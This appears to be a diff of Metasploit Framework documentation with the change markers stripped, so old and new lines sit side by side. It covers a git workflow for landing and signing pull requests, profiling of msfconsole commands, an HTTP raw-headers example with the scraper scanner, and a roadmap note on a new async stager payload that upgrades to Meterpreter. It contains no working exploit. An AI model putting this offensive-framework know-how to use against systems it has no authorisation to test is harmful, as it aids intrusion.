You can `git fetch` a remote any time, and you'll get access to the latest changes to all branches and pull requests.
@@ -105,7 +105,7 @@ You can `git fetch` a remote any time, and you'll get access to the latest chang
A manageable strategy for dealing with outstanding PRs is to start pre-merge testing on the pull request in isolation. For example, to work on PR #1217, we would:
````
```
$ git checkout upstream/pr/1217
Note: checking out 'upstream/pr/1217'.
@@ -124,7 +124,7 @@ HEAD is now at 9e499e5... Make BindTCP test more robust
```
$ git checkout -b landing-1217
````
```
Now, we're on a local branch identical to the original pull request, and can move on from there. We can make our changes, isolated from master, and then either send them back to the contributor (this requires looking up the original contributor's GitHub username and branch name on GitHub), or if there aren't any changes or the changes are trivial, we can land them (if you have committer rights to Rapid7's repo, this is where you land them to the upstream repo).
@@ -173,7 +173,7 @@ You need to add their fork once as a remote: `git remote add OTHER_USER git://gi
# Making changes
````
```
$ gvim .gitignore
[... make some changes and some commits ...]
(landing-1217) todb@mazikeen:~/git/rapid7/metasploit-framework
@@ -184,21 +184,21 @@ $ git push origin pr1271-fix-gitignore-conflict
(pr1217-fix-gitignore-conflict) todb@mazikeen:~/git/rapid7/metasploit-framework
$ git pr-url schierlm javapayload-maven
Created new window in existing browser session.
````
```
This sequence does a few things after editing `.gitconfig`. It creates another copy of landing-1217 (which is itself a copy of upstream/pr/1217)). Next, I push those changes to my branch (todb-r7, aka "origin"). Finally, I have a mighty [.gitconfig alias here](https://gist.github.com/todb-r7/5438391) to open a browser window to send a pull request to the original contributor's branch (you will want to edit yours to reflect your real GitHub username, of course).
````
```ini
pr-url = !"echo https://github.com/YOURNAME/metasploit-framework/pull/new/HISNAME:HISBRANCH...YOURBRANCH"
````
```
Filling in the blanks (provided by the original PR's information from GitHub) gets me:
````
```
https://github.com/todb-r7/metasploit-framework/pull/new/schierlm:javapayload-maven...pr1217-fix-gitignore-conflict
````
```
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once @schierlm landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once [@schierlm](https://github.com/schierlm) landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
# Collaboration between contributors
@@ -206,9 +206,9 @@ Note the important bit here: **you do not need commit rights to Rapid7 to branch
# Landing to upstream
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else (@jlee-r7) was able to to do something like this:
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else ([@jlee-r7](https://github.com/jlee-r7)) was able to to do something like this:
````
```
$ git fetch upstream
remote: Counting objects: 12, done.
remote: Compressing objects: 100% (2/2), done.
@@ -216,31 +216,31 @@ remote: Total 7 (delta 5), reused 7 (delta 5)
Unpacking objects: 100% (7/7), done.
From https://github.com/rapid7/metasploit-framework
9e499e5..263e967 refs/pull/1651/head -> upstream/pr/1651
````
```
This all looked good, so he could land this to Rapid7's repo with:
````
``
$ git checkout -b upstream-master --track upstream/master
$ git merge -S --no-ff --edit landing-1217
$ git push upstream upstream-master:master
````
``
Or, if he already have upstream-master checked out:
````
```
$ git checkout upstream-master
$ git rebase upstream/master
$ git merge -S --no-ff --edit landing-1217
$ git push upstream upstream-master:master
````
```
The `--edit` is optional if we have our editor configured correctly in `$HOME/.gitconfig`. The point here is that we *always* want a merge commit, and we *never* want to use the (often useless) default merge commit message. For #1217, this was changed to:
````commit
```
Land #1217, java payload build system refactor
````
```
Note that you should rebase *before* landing -- otherwise, your merge commit will be lost in the rebase.
@@ -248,7 +248,7 @@ Finally, the -S indicates we are going to sign the merge, using our GPG key. Thi
To set yourself up for signing, your .gitconfig (or metasploit-framework/git/.config) file should have these entries:
````
```ini
[user]
name = Your Name
email = your@email.xxx
@@ -256,7 +256,7 @@ signingkey = DEADBEEF # Must match exactly with your key for "Your Name <your@em
[alias]
c = commit -S --edit
m = merge -S --no-ff --edit
````
```
People with commit rights to rapid7/metasploit-framework will have their [[keys listed here|./Committer-Keys.md]].
@@ -271,10 +271,6 @@ Release note examples:
The [rn-no-release-notes](https://github.com/rapid7/metasploit-framework/issues?utf8=%E2%9C%93&q=label%3Arn-no-release-notes+) label must be added if there are no release notes for the merged pull request.
# Cross-linking PRs, Bugs, and Commits
TODO: Update in this new post-Redmine, GitHub issues world
# Merge conflicts
The nice thing about this strategy is that you can test for merge conflicts straight away. You'd use a sequence like:
@@ -291,4 +287,4 @@ If that works, great, you know you don't have any merge conflicts right now.
# Questions and Corrections
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
@@ -20,7 +20,7 @@ Tools like Veil, pwnlib, etc. have for a long time used native compilers and too
### Native first-class UUID-aware, async stager payload
Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from @bwatters-r7.
Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from [@bwatters-r7](https://github.com/bwatters-r7).
## Module Interface
@@ -0,0 +1,56 @@
Metasploit has inbuilt tooling for measuring the performance of commands and generating CPU/memory reports after msfconsole or msfvenom is closed.
### Measuring CPU/memory
You can measure CPU/memory usage when starting msfconsole/msfvenom with environment variables:
```
METASPLOIT_CPU_PROFILE=true ./msfconsole -x 'exit'
METASPLOIT_MEMORY_PROFILE=true ./msfconsole -x 'exit'
```
Granular CPU/memory performance can be recorded using Ruby blocks:
```ruby
Metasploit::Framework::Profiler.record_cpu do
# ...
end
```
```ruby
Metasploit::Framework::Profiler.record_memory do
# ...
end
```
In both scenarios, reports will be generated and written to disk that can be opened in a file editor/browser.
### Measuring command performance
The `time` command in msfconsole can be used to record the performance of a command:
```msf
msf6 exploit(windows/smb/ms17_010_psexec) > time reload
[*] Reloading module...
[+] Command "reload" completed in 0.20876399998087436 seconds
```
It is possible to record CPU and memory usage with the `--memory` and `--cpu` flags:
```msf
msf6 exploit(windows/smb/ms17_010_psexec) > time --cpu search smb
... etc ...
Generating CPU dump /var/folders/wp/fp12h8q13kq7mvf4mll72c140000gq/T/msf-profile-2023030711505620230307-77101-4josw1/cpu
[+] Command "search smb" completed in 0.4150249999947846 seconds
```
Examples:
```
time
time -h
time --help
time search smb
time --memory search smb
time --cpu search smb
```
@@ -159,3 +159,30 @@ Module advanced options (auxiliary/scanner/http/title):
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
```
### HTTP Multiple-Headers
Additional headers can be set via the `HTTPRawHeaders` option.
A file containing a ERB template will be used to append to the headers section of the HTTP request.
An example of an ERB template file is shown below.
```
Header-Name-Here: <%= 'content of header goes here' %>
```
The following output shows leveraging the scraper scanner module with an additional header stored in ```additional_headers.txt```.
```msf
msf6 auxiliary(scanner/http/scraper) > cat additional_headers.txt
[*] exec: cat additional_headers.txt
X-Cookie-Header: <%= 'example-cookie' %>
msf6 auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt
HTTPRAWHEADERS => additional_headers.txt
msf6 auxiliary(scanner/http/scraper) > exploit
####################
# Request:
####################
GET / HTTP/1.0
Host: 172.16.0.63:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
X-Cookie-Header: example-cookie
```

Some files were not shown because too many files have changed in this diff Show More